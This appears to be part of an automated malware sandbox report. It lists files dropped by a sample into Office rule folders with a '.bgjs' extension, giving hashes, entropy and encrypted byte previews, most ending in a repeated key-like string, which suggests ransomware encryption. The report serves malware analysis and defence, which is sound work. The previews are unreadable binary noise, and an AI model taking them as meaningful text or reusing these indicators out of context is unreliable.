Preview:	<?xml'..uU&.I..d.$.....7..I.....fm.-.\|...x.45..0..&fDt......:P2.`..3?..V^.N......d.6..l.Rcu..[.{.t5..'x..J...T...2.M.Va..X..p....\.R......F.P....B.>N..Q...\..qgo........n.......K.....U.>[.C........t. ..\|...er@j...H..n.....y.......rYv..5"'d({........!..>.....c..3.$S.s.b...3....1OyDmK..[...{.Ag...M....?..9.. .r...g..P.AUC\G,.:#..\.:..K)...C\D..Jq.^....d..r$..-....7.$...>.,...M:.v...]i.{.I....4..p.X.A"...M../.....@M.k.h.J..k...o..qR..T.4$.&.,..hc...BRE=.Z.:tm...5.Hw....I.....k...6.^Q.d.+..\@p..pF.3...'.%jj..7g.g.....!J..v.....L_Ap-....#.rd..i. qY....7..B.....ke.9Y.\|.v...........=mo...u.BlC.^..%.+.......z...X0$b0.o..8.c..e.E..f....x....x..r..I[).K...]\|cghPE.......p5;H...i....x......V.xt...^.j7...+....s......9.A.Qq.8.._.........}...#.....1......\.C~.y=.......ETt..a.....zS.....-wZ.1..A.(8....l.[...S.D..yi].s...t4.{d..).......[.../..9...`.U.S....RM...T..Ey3...i...>..s.2...1.7.../...a.tx.........J..U.......vA.....+..]m..X..0.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.750726812137982
Encrypted:	false
SSDEEP:	24:UDXp7fv5S95Q/uNRjlCvvtNSyH3eeI3xbD:25z5S95UwZEB8D
MD5:	1B9C9CC4F39F2A9EF4B3F30A44174E4B
SHA1:	ED07A3A2D063D9B14851A4A2883FA891BE2D325B
SHA-256:	DD4805DD62F0070A7272E9E56D7B443ED56B7ED8B454D15CFF9088C2873B7279
SHA-512:	545F772CA596B8C0AD8DEE1253944EFD16F0ECD7E938EAF9F46F579766AC97004161C3405533A119956F695B091D2D61479F99F060B95E457E409A634B35F9BA
Malicious:	false
Preview:	<?xml.\|..J...00d......uP..a]`~.5#.....".p..._..M{.....P...,.V...p..)x..T...)}#.6\|7[.......$......H...HU._....@...".V${...aXV.......N....j{......M..$....R.'...ik..7......9.C.`....P..s).x...!....}.....;...r.H.j..#....q..\qz.}M{O...S\..,;.%K5....'0..!.E.....Z..p\.....Z....L).^..e....u..v."....\|.\.?....H.<,......{..J..2.........k3;TY....e3......\|.1..Av.r..'.t....lc..U.%+@.......+A..c...<`..x...gkjA..D.l..Q.&...T3e.z5...@o\.tx5.{.k..pj.....'e`K..}.....~...r..).)..:.._......Q.-v..T..i.bXj.......a;...e...o..E<...BM......]...S....Qm)..q~..t..\|...,?...q=&.F..m>.,...B .().....2.lu..c..6.Y.I..e?..f..J]...gI'k.!.......j... .."...,6..v.I...!.....=. D:O...1..A.Qn.r)....Gz..\|...1...B...M...)&..s...e.f.`....3...kSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.799282458971075
Encrypted:	false
SSDEEP:	24:nEMOkTMn+K0poxpolAbCF9tD0pxvdOVs92h9ObD:EMO9n+K0OslAjfvdOi2h9sD
MD5:	4B56958E1780D800FEC7A4EA2207DF46
SHA1:	3B25F0B8B40B3C197C217DDBEA9B07AF3AA4C109
SHA-256:	0177E8D431A49BFBF0765DACC0C691A55CEE1E93F1B8161D1D1C3B7B3451E612
SHA-512:	A7DF0113D8088F35162498AB7416CB4B7BB169E6DBC68D3FA8E7CD47B06DB3281F0F082EE9529FE03DD060A2A6F8848D83A6575F9E3E99D783E510684918E0A5
Malicious:	false
Preview:	<?xml.S.8N...9.p.g=.<.`..8..=.=QM...0.w.....s....5..^`.0._......^.Y......E.G...R...y.[.&....PYgIC_..............D.V.v.D.J..+....m..O.pm..I2U..6h.......d.`..j)...\.A0Z..........t...bT..;y...oR1....(..Kn.n.g.V....NtXK..a.nf8....B.].s.N>...)..=.!g...T..s.0.Y[.....{/...b.Ho8@......{...}..~+68X..0.}.t......y...I....o..........T.....t\B..@..Xz...k..s..b.DS.p..j.r..t..1d..$+...510...TZ.c..'.X..2t....R.K.lo8Ia..`:....Fx....$R..l..B..9:T.>...#....0/.D..}..U....)."7R..R.,.....V.{.....Kt...?.o....t.n../>]0.A..V...:I..)Is.V......>"..f.3....7.\....n...s...j".j.). ..b-5.C(T+.N..!S. ...&....<..7.[i..#.....X.pks.l.....M..`..8U9.u2...0....".~Xo#.r\|....Y..b..VN.]5.+.._.....,....K..I ..5....1e.G...c..F......g....0.(..!"..T>x`k..[.\|.'~.Z...U)...[`.Q<.:..vKZ...2.x.]i.Q..o.+..>z.._...=.}y..W.y...9..?\|.?`..(]..5;.Q...].....>.......L........TZ.B.....+.._g...d..R.7..k..;..(v.".$.a.j=........).A..e.g}.O.o.-Yf ..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.859485657753869
Encrypted:	false
SSDEEP:	24:ttkyqXtd0XTHA1kt1Ilt1RYogQwb402GfrkeSjHAFw13n37MYbD:ttk1juG53vYogQw8uTkvjgy33wCD
MD5:	68DEBCE4C0AC037AAC3EFD4D365F09AF
SHA1:	FC8032923855E026468EE3CDDCB43CC296B6B972
SHA-256:	AA4667E10B1F84D2787D907F3BF44CC4ACE6BC158C4DBB57CEB704F9A565E54C
SHA-512:	59FAC94DD6F1CB8AB6C9FB46CAF8B2702A724CF2CF14F9EEFB71DC11186BCDCA038DC85B22B693209BCA3CB8A7D072AC81B648056E9B53B9CEFD6846D4740DF1
Malicious:	false
Preview:	<?xmlz. .%RCumX.\|.....s...v.....^..V\|.]].w.....Y[:X....T.+...h......kX.......t.....j....5...c....Z.08..].8...x....ap`[.[f[{..!...-..!.L.O..k.F..N.....`..?..).7\...'.{o.F.U..Uv`...Y.eC..s.#d....3.-=..X;..(V.\..m...~4F....}U..@....}...Y....@.}/m....V`%=R..,E.$.axy./.. ...\|.`...~.......>.a../sh...7..;....2.......9.+....U.w..KM.I.".0A.~......wh"!...{..."bf.)B..$.x.....\...lEG.),p.b\|.......A...........s.,.L..o.s.f]....}....s..R.E;.?.6.lb]...5..x3.\|7.=...-E.i.9.t.MN.C5..)...+....3-..s...n.[..&.2....t\|....yYr..K#^Ag.h..&..s..1.Q.g...f.^...{.H\.2.oE1U~;m) ....EU ...ct7+EzdZ..L;X.A.\|lk../...c......!C.A....9m..s......7..6\|%.X.e...8.F..8.0.....ff.@..k.<:com.R_.2.3(J..u>..f..;..y..$.`lB......9..E.u.n.g....Q.K?...O....B.]....J..%..7..._.=....=$.%Hi....'..i..f...i-....(....j.m%fx;).4.;U....FLo..}..7..B=).........D...].>....U...1.#..\.......n.~2Tx.&....V.;...N.j.!+..~.......?Q....w.3....]^...a1.3..)......*...(z....A. ....D..H..0<.N.Nx.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.929781441162425
Encrypted:	false
SSDEEP:	48:Q1ZrlNDmjdT42m11CsDtNJn2782aFoIC0sjKeOmd2nrfNb31CYD:Q1Zrvau1CsDBn27gPmsF/
MD5:	D7A8112C404F2FC02CD8283640F2F266
SHA1:	670A5A4BE38C0312111D09CA74FE96C088268E59
SHA-256:	0614EA93BC25030D997CF848DFDD9F1344C7971C75DAE35BB0D0AA9BAB8FA8FE
SHA-512:	305EF2C2D7D1ED0665D6D41EE7729B28F044DC08A2A186D1BACD1B101FDC201D4FE307011E22EF94BCD764C516D8DA44EFA967070F160EBFD21A6B7D375A75EB
Malicious:	false
Preview:	<?xml-........\Y..-e.^.....>..=%.T.U..^.V..v..'L} ..q.k...FY.D.J\|.St.B'i(9.."...'.R..Q..F..{.d...3.....O.Uv-.\x..1#...?..m.ivs....VQ.....o0?.................u..2.3.7..0a.~xr.......t....,w.{.q......t.+....t;..N...b.....g.gb.l.Ajv.".Z.7)...VH&..[..G.......[..$W,.(J......t....C{<{.F..`e0.=X...8G.$f..aq2....a..d...gn.H...e... ..l....K.....k..m;.#..r.2..6...5......#....C.C.~b4....M.rW....J$[,.xYCL.-~4$%.\.>...sL.}.r...S..-."...ii:.....f..T...+.(.U....^..0...'...,y5._.}.& .r.c.dJ4.X.%IR.`?[k..7.9.O.XU.;......l.....^..-R.f.s...nR.b5GDS..\|o.(.pP.2.I/...l/Uq.8....5.U6i.+KI.'...6..\|...JX...*..!...................Bl...E9..g.3.R..E.... U'>...`O.SI...>.m.....$K.........7.8.DU.H,.T..:P....$.`Tv..X9l.....Kv...."..='6Nq.(....5....HA"...K.0..7.f...:.#..'L.!F.....w...!..O..g..L7...)...\'{...DI.....w@. 'v&v#...i.7R...A....qY..G.-.T.,....>...E.....:..h..."........Wf..k.:...^.?.qG.....rcS.....$.V..XI......y.......Ms.bf..[..d#...w..F.f.BN.S.X..Z...M$.U

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.866183190521822
Encrypted:	false
SSDEEP:	24:QGLWJAy/8uexLNhgFA09gLQ8aaSV1adP3/dt9m3zW4IRhff+abD:QGLxJNmSLRaVV1aPdt9UW4qffZD
MD5:	68F83B6DA80F21FC891C8BA14786F872
SHA1:	C95B4AE35DB9BCA17989F112820D10C6E8F52693
SHA-256:	989A4203E178F76327E88C5D51B1428A00C767241CA82C6D1AB1243D1172FD96
SHA-512:	1C89F1F8E0C6826B119075ACB7EE416A2C770BC25AD1ADFAF7FC839C5FCA1E17C85E0EE1A16649C4152E9D367C044057128BCE75776CD03AC7159BC76313E9F4
Malicious:	false
Preview:	<?xmlo...........7.L.....@6.......I.$p....-L]!aG.'...Fun.8`r........+1......+..(.eaz...;Vs"R>....u....F.....9.N....h>.z._].l...>.......?.\|..2...8.?{b1..\|.....A=....]d..,..~.j...\|#Q"w...\8..........G.....'e...._J..0..[..jl'.t....8..$...7...v.@..1eSX.7..Wd...i....N..P........0.x...I.....(.&...>w.....rc).0n..En..!........m.-...?.......P.."....Y...l.!.t.....\..L..:o.....x$..w,R.uq?.Q4..Q.T...FAE..prm?.W...zK.5?.yzb..t..}..\|~ ..r.....(2......+..{y..n....".5X........D.6Ln[.....Q...%,AG..y\|p..6.Abt.......'...f..#Mp.]...{..u._)8.F..C.p..P........4...DuY~......@...Kre..Ak."...y...F_W..4h.....X..y......}....$...g..U=y.nH.....F . sh.....e..0.0#..T3.Cn.2..Lk..3...XP...w7e.-B..:.._=.][.%..1..c.`c..E.....n.....W../..dU.f..J:...f....!.......I.8....4..'q.f..A_.%...W...Y.;K..y..)p..jg.!.#q....;t...h.L\|....i...1,. ._L69j...3.Ui.@.p..2.}...;....i.!eC.e.v...$.[...+wr.%`...R.E..a...Zz.fE.;.R~M....7N.B..OJ..f.K...S...d..?@.u..A.G...-..d.+..P.e. ...7.6...=..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.8135045549675635
Encrypted:	false
SSDEEP:	24:w7saIfog6RTraW2YelV7FFw2H3/a4CqZH699mmbD:wTsMTr4rFj3H6rm0D
MD5:	5A7082490D439538C6388B128632054A
SHA1:	0C048F96FD358ABEF075AEB0AA99D47962A59634
SHA-256:	52E01A92BBDDB15DF992989547B6FCCFD69F0F9F633928AEF61D7A445BD4D9C6
SHA-512:	E69D12CF7F071A0F5853DA3D98140910F8005D238A3FA99944B115C58F41D9EE22A5818D53E7A3AF895BE36243BC63973F220394211D8AED074246D01535CF25
Malicious:	false
Preview:	<?xml9..... ."$KQ..Ys.+..;..h..%F..6p..u...5\ ...........W.~\|..e.ur...5;rx..e.[...N.g.v.....e...EJ..5.;1..N..T...y....ak.,...\|.....Dx.......\...@.....PD..x.%..."....Z.r.....=..r.p..&=.....l%b...y..6..A.6Jk..l..s.$r.%.....b.9n.h.9.B....o......n.w.\|pF..t....F...>..r.g!rR....S.hL&6...i....\|....5.t..krZ.1}..E....L.s.A..B[..K....._.jS..Js./......q.....et9$2.o"j.d...'..<\..T....1.x>...V.m.h.V....!..kb.$-....<V...W..v...-.N.i...=...A.Y.w .-npwN.../..75.~.tNB.%.EzIZ...0.R..tX9.>....."./.&.@.w.Y...4+C.k.QU.D<.@.......9..09.8.(./..4..Z5.c...i....[~.+n....=1#..8X....S.Kl...X..g..4Ku.dB..I.:.(..7#........@..q\.T....5{TA.n.}...r.C...@.......z,2....FHCi.z>q2T.lOGe..!{...O....Q...`B...Q.7.%.m.<...Q9....q`....H1.cx..>I....2H_......"....Q.....[._cr..........d.7$.X.?.9.[.A}A.....p.....sU.J..6..fK].e.1P.J...CEH1...f.E ...4..+....(N.-..U..^G...z..^.<y'?.v........B0...[.....OA.9..d!=.Y>G..W.pv.....;...;...C....D..C..?\.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2n

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.898147361159891
Encrypted:	false
SSDEEP:	48:Rgkej0nclkc0Enzqz4PmQWNJVQYnPkzxR+aw2D:RhE2clwoqMWNJVQYnMtRfwu
MD5:	C626A8AFB79F11FFE171E66E807BEB2A
SHA1:	A4FDF209A1C286E9E8CFD1779A47658E213A437B
SHA-256:	21EDE639E954B006987ECA3C0826176DF4A02103DF506F41FA22AAA1ED9C32D0
SHA-512:	E78994BB53E387CD9877DA1C20696EBFBA5B3613CFE82FCE4DD64A58FA5E2FA19D0B80A9B7A9371AF398C5D3F37F9EBD418EA6DEB3A71994A9E8BE9CC215A85E
Malicious:	false
Preview:	<?xml...P.g(lj.wi...4...P9).>XW{..h.R9..:..Kj....y.+..~B....?... `.`..H.R.}.....mT..O....c=._..[.l.Q..Zt..U....#h.Q...Q.N..)..O......[X@..]...qUp).}../..!..X@X..4.R.0.....n.%..E.#Y.\}.0fs..N..A.....~.+.q0:g..e..,....K..-^.g.....".$n........../.^zg3....h;.v_.s.Wr.,...mfW.OP).....j.[.B..0.f.$.VnT.9..5Z.A......Es....R..R.."..2Oen..........f.I\.SF..#M..S....l.~a\|~.u"0..U...I.....i.B/..'.L...&.;.....R.-......C...F...&.;`..y. ?k.5.#Rz.7..R..v.UK...pR..w[<..!.....^..v^.k.VG.U.D..+.,...~.h..:.O.. j......F$..f.zLz]~jA\|O:.....Q.g.-.E.....>.t.`I(.j...2...d.x.,..LC..hm..}.[.5l.,..X r18<cf.:....m..w...p[.eV....^G.;.2..0.`.l C......2.Ec.....,(.wJJ.......X-cm.".(.{Te.5a....v.QP...C..u..a9..O.z.....=n+..W.....[.2....U..J.!..N......."H...%... .`.......H....3....67....%..v......IA......N.KH...u..D.N.L8.lH......~j.....ly.Vc#.y..B%.=p..XD5.X..,..i@4....}...$J....?..w...w..i.V"...'?%..:..-. G...\`...n.S#T`.6h..p.....I.x..>Q..AZ...s}'..Y.\|9..qS..5.....=.]Ll..R.U.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.820263191193753
Encrypted:	false
SSDEEP:	24:k0j6UF5Itt99ClqceKT5Amd69obIE8Pj8yEms7KHAq46gs0MmxHbD:ksp5UEPeKTVcCbL8rst74Issx7D
MD5:	B9FEF00B8DF80FF5CB33DF55D11B4125
SHA1:	67EF5F6E5922413F07DE94815ABE397A2A221EF7
SHA-256:	02ECFF7EBB3F01D6C568EE2F28E6F2E681F16565EB2B2CDB2A8DE5F9DC41D930
SHA-512:	4BD8B4A67EEBBA0FBBD4CF7C0836CE7DEA4B4AEAB399B789A29CBC2CE18E4963AA1E08C326BBFC4DD007B56C4374AB7796564621F82EAC4079EC950FB896255A
Malicious:	false
Preview:	<?xml..K.......Q?A....O.......40.....Qpj....~a..#H....K2..X.Z...7.....K.........e+"........D./k.-....J..7...[t...L(..:kZ-. .G.5.6sy9.#1...gk ......\|.<_..8..)...7d$I..Q.....2....n8.q.x....Q...sl...3.sU....].K..{..2K...`Su..}t1M.cz;..U8...Cv"R..S...,&z.....%./J85..UP.p..?J.s!....^9.+#..5o....yH.\|P...K......EW.<Z.H..o..,..X"......f.V(..Wrqs:....N.::.."..!o. ..rof.2c;.y...Q(HVwX!.........9.......Y...\|.?..~m6I...~...pH......@/.3$r..[L.\|Vi{b_...]".z. K....Z1Q..;`Q..T.\..O^...T..?;...p.ig...4\|(...7..L...i.7n.V@l.....Zs.....(.^,F..........J.&....ii0..T.5...ytG..#....3..0..7.M...!.x%....&....'A.\|...Zo.*.{.&.EBLd.\.olN. ....f..Q#.Z....3....).@. ....L..#......=8......@.J..H.BD9S....a.i.......7^>W..\..L9.....e.D..mS...!.R.C..r.=..8...a6.....~..e.5.`o.....?..DPn..o..q...v...{..R.............>.....g.g...........'...].B._..OQ.=Z..C{LL......:S.`.7.'..@D..w_(.........;...R....)%.n...$.;%+..j....a..{]ZK-y....O.l... y..2.(.-....},..'GRw.~.....>........v.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.842398428726984
Encrypted:	false
SSDEEP:	24:Ibd/eI3SSPDXldqTYREACSmXlkgAiZ6IQKl70TH6TbD:77whRBCSS+RiZbl70SD
MD5:	F8C6ED1E706EF3D57763D063CA8C06A5
SHA1:	D9AB3459A74D8B0A52A3498B5A1C26CF0563D00A
SHA-256:	A91D6EC55E75EF19BE0355741B86BC2F4D05495BC7BAAF19730BCD855DF44E3F
SHA-512:	2C978F962E6EED353542407CC66C73A533D986D2E73DEEB4F9DC632B87BD8B79BC99083169CEA68610AE6EEBA5EA6A18A0FFFABE35FA9FB9656F318E0D3BADED
Malicious:	false
Preview:	<?xmli.w.J.I..4....%..5.].....{}3.D........sh.R=6..K_.........i..BF{..Nr>e,.Q.X.W&v...C8.>...<.6...A..j5.........n{..\.]4qSu.....G......\..6...."{N..V.Kkz.\|..n..U4.P...\..{.8_f.l..}..W]....'...S...:.8c.$.!...\|)IS..J=]......I..Y....%5...;U.^v0...k.gRdB..........H{......... ..P.U...\...<mK...2.!F_.v3......t........Y..FY..<.n.u..9..h......Lrn.d..w"....{..1k..+Rp.i.w......a.h ..j...w5...V[..O.....O..8.t2.w...B..{~.....Y...>.=.._....g!g9.i.......\|..K.Y.g..-.....<..Ak.vJr.VT.....$i4.p.:;T.B.=N\......Y..$$....,..h...O..b..ab%...4..-o.....Is..A].~.o.vea.;.D.&.W.K......W..U.e..t...mC..._x.W.X.......n..0eF.. r.......{..^.-.J.&).......I..9.....:...@#..%......g.y.`....A....s.'.y....W.Wyk..MK.{....t.\|.tF.Qq.b...v<....9O....sV.BIY..y...R....2.1..{<..a...G....A.k.S...2.../6...i...w.T.77../..d....$......a..V\.....x...\.^.....J.>...y.....j..t......W..j.....V8...Z)I....a.uR......,...-.I.[zb..V.L...n.....}?`#It....M..U8.....S0..M.)..Fv..I.hi........i..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.896969011470929
Encrypted:	false
SSDEEP:	48:1AG7mg4XkA6MUkrXe/bMyjffP7Okb7dD5uIREPLB0xc1+D:mG7hsUkjeoyDH7Vb7Z5uI09Ic1G
MD5:	FCC247B38242E9E4724A1FBCA6B44822
SHA1:	A3B1988C266A9FBB3483505D0F01557B2EE70AFD
SHA-256:	1AA0549AE432A51A4F44FEBD85759485EB3590241CA2DE8A73688F9F65297C20
SHA-512:	FC7636F20B54D0F85BF3571232A9DDD4FA9FB0B8F078B4AEF3B5A7DF3F14B7FF76598E0BBA02C4E7EAFDA21BD7C249ACBF0E818287F24B66E7CDE8AD1961FBC7
Malicious:	false
Preview:	<?xmly...){..U}...e....Q`..wG.{A..54...R.=F.......c.....?......D..3x....<.Q..+.V.Xw.P....q......@.1..r..2..,.0H......-?\|.3....Cw;...N.(..,Jx.<V.,.'.-.....f&P.PX..3...B.)..l\|....G:.1..9o.;W..;\...T..!.&...7.L...._/.;.....Rq.j.Gg...E...#\|.,.CC..sZ$(U..\|%..OIm-WO.v.).dx.X<....S]Z~.v..j.o!.W....;V..?..$..a..#....h"",.......!.7n.....Z...(.9.}.DC?j3..A.TX...=.t.....<:.b.2.....eM:M.q.....R..k.P...<......D 6.&......l-..?....~).kL^Q.}W\i.@d9..P=.w.o.B'......y.$...q(6A..g......K....>....7c.M,..A.H...@H..o5vZ...QH.@..z...;.....K......g...T5.OR.3.. .t..R7!/.?.[.,..j..n..n.&.....mJ.Bt..u.x...n'..:...t..m-.4..T..$...P..9)60X...U...eF^...f.Z..>.f..*..#.H.........?:I..!..}"F:a...Ad.D2/..CwlN..A..eq..../.7.......m....wQ....:.)...).U$JM...<.+..O.D.%....e.S..Y..muoJ.F`c\|.h.f...\|.hdk..r.{A..D...N...H.......I...5.....ct.....UG.1..bq.....>S.vM..L...E....=..[.X.}n..0JG..8...v...t5..WO.c....h....IO4...D..q._"..AO.....i.yf.H^........Z..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.8646582030927155
Encrypted:	false
SSDEEP:	24:JZhXCtqofkhLJI5/5CC3emwfC2CYz+NPBgDg91aP/wpopclvT+HR/bD:5XRoWLJI1LemwfCggJgsEX64tD
MD5:	C4F6A02F64C8EDFBD3ABD32DA2E626D8
SHA1:	9BD7109170F3AEADC0909F1C07E086890C44EB40
SHA-256:	E5AE30ADDF0ACCFFE1DDA453F9810C4A2AAA3E7890DA5EBFC31ABC271F07CE48
SHA-512:	0BFB1A0EBA8B41EDC1FD63C196011809050FE94A00E835925546F3AFDFD7F626A9A49540E80F135D9FE06DB0E6BF1320CA05AED4CB729A04A5C1A1CCA786E19D
Malicious:	false
Preview:	<?xml.e..}{K..`.a.a....,.(....}..K..I..[G)....e.i{.W..;EU..?._...............io.C...".v_y.E....}w+."{.qD....;..$z._}]...2I.......<.{Rue@U... #C......OSh.D.:.G..._.\.t.....c..&.mv>...:............at.jV.h.3......e@.z..........O.Y.............V...l.q.8.j..l.1.+.....u<..@..z..b..U..+?..w..4.6.N..<.=Z.B..cyJ..<#]..+.....P..i.i&.@..}h.........^.N......xr...-FKF..$A+.M.Z..Wy.H.+i;..!Dd'.x0.e.h..&AN...?...@PUF\|..z....$o......B.~...O7}=s.._...\.5..t...%z...n.p.I]R.GP.p..).4Zh@..V=.<`.....s ...?...mW..[.e(........)..)sG..^.@...QFEC.R..'...i.5.g..6..N.g.@.0..i<...F.!.j........V.C.zY..u....@.dJ.d.W..H..O".}.:.h.i.....V>..#..F....<...4J...'.6p...C8..`...".....bEMN.......j.[.df..R".."...#ou....l/.#.......c{..GC..W?FQpp.1}.>7Z.-.>-e.4/..;..^.d.fv.E.iQ.\|....qwSw.......z....>.........R....z..p..hk.#$...wC..W..yp9.$..b./.O!NFi...$..x......5u...,?.B.V...jV.........N..\|T.{.}Nf........R.....Q\..e.....w........m.....ps.pS....z.S..'_.......:.]...DoR.1..E...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.867892969899611
Encrypted:	false
SSDEEP:	24:qAOuwKMZEsRKW1eB1hTnEFypHdS7wdgSvU1Kzf+TdC3KwBGZsSzrsa58mP/wAQOX:qnuOZBamFN7nOU223Zsha1/4sD
MD5:	AE55021FDD5A9851CE4A117C2983ADFE
SHA1:	743B7DD8B3C6B2C06858CA2204BF689FCF0838EB
SHA-256:	3765EFBF7EF318BF6BBBD953D324D1AF702FA3F472629A38847E2132AD0CD7A1
SHA-512:	1AC53F1E321CE09F4EF25B5F42EED9B501DBC89563B173678430597AD720A328FC5239685B1FCFB8EA82FB0063FD93773A4C8F40095D2B92FC24EC4D6D255619
Malicious:	false
Preview:	<?xml...4...\Sp/!....>........<......&yhW.]..<F....}.e&hr.t..B..=9S.Q...?c.......9U..y z...N6..t.+.L3~......V.c@\U.?F.Sr6"..DX....=0.JK..4.hHy....E.L................S.n.....>..z.[...g...b...X1.3.Z..+...\|.=...m..W.}..sh<Jr..\|o'.g}6..9}}6.3.5......$3......+7.&....o..J...6Mb..CJ2'.gR..RM..][........I`..<......./{X=K;].NW.......6.`......kr....M".g...h.h.(JQ%...ei..).O....Bn..j.....m=...H......(.CxJg'...%....M....q..=..R.T.L.k.6er........#.......F..TmmI .59..2.a.J..._.iw.h6....T8i..j..v..c,..+.[D_..b......,B..>....l...E.............=U.-f..nTx.t,..A..&..s.1.W...L...gv..:C.+.sn..../#.4..1......?&.L..;."...GZ:.!.`..}.2.t..'Q.%..h.Gj}....1.{.CT..#T....#!z...6.........0d..\|.x.H..fL...t..D./.........i.d..k..........L.I....A.#.L.#.....)m....z.O,..0....8....$.uX.m.b..V..sb./c.A..I......#....p....k...U.h..x....N.J.....db.9&$%.M.T.A...;..(..%P...u.*t...f..Rl......T> .D.e\d..C.t.H.0.....o.r5..+g.g..........p..Z&.H..!..J.=....3=..V.X....e..N..B.FlA...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.769252615626983
Encrypted:	false
SSDEEP:	24:R5CX72Xp8x3/GgVF7HGwHgjBGAOY39N+OG15lOsvAbD:P4yCx3xV9HsjiY37C15lkD
MD5:	F8898DCA15A1139CD648001E853C4BDD
SHA1:	2A262B63F07001BF0F3C338844FAD2A50F1E1BEB
SHA-256:	F78D35C2D1D6876F56CC8FF42B35D8036246B6E035FDF0DF6465A6A596D36E71
SHA-512:	249411AB825657F933494A591E52179F5400FCE47B2C3212C88FC6B8583D04D916FE3BA2232280C2037FAE4BEEAD7798BA39B7585EE773825658184E3F524A60
Malicious:	false
Preview:	<?xml..y?...}E .U`.I$..L..r.K.....!.}...$(.......M...=...F.?.H.._.?.......;+Q...... kH~.1...~-...6.y.`....;W.>F.R......L8......."..q.9..4.6..cp)...:.{...W...N.....E.C....-P..G........[.e..9.cWBr..{g.>..]....k...7[...o.I...........m=j.+om...4.(..@.z.S.T..=A[..~...=9g.L.p..+...\.Z.b&.H.S\\.!<E...3.X.'.K.H..JN.2'...k_..U.......RB...}h....ee..>hxT O\w.2.[^.y.w....O.Dx..%.n.#.~3..W...gZ.;b.Y...2PAd...3._...(......."'.....O..!.s.....k.,.b(C...3......f..'lm.d..Nf.%0.OL+>}.P6...%...M.......j........R5^...5c.5....\|.5.Z....$.r.S.g.....Jc.9.q.Z.(`..AO.>..... ...W<h..&.:.W.{......Q.B......_./y8.....2P..._hgM..N......."G..\|w'.A3.Pe...E....^..(l..S/\.o._W}.%.b!C.x..\!...S.t.J.<VS....7X.O....)..2......\|....E..).,..".E4&......6{.1.._<..Q.W.J"akq...............;.._{c.I.i.K..>..y...Q.S..{...j.e?7=9..N...s..[.;1.!.\...Ae...{ ....q..C]v..FI..E+'.XV..[....F.dD...D...T.hOLc.UB...t.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.952248998707819
Encrypted:	false
SSDEEP:	96:ue6HH96/+3h6aOaayS8vQ4C8A+Sbr953T:gHHQA/Oa3JCz55j
MD5:	867CD57F0A5C22CFB1E496163C7BF84C
SHA1:	AC4C64D94E5F704BEA94655CCE5E9F55262187E1
SHA-256:	CF4DFB532CA1A265CDF5E8EDD5A0742589DF56FA7422C8296A534A0E867BAEB7
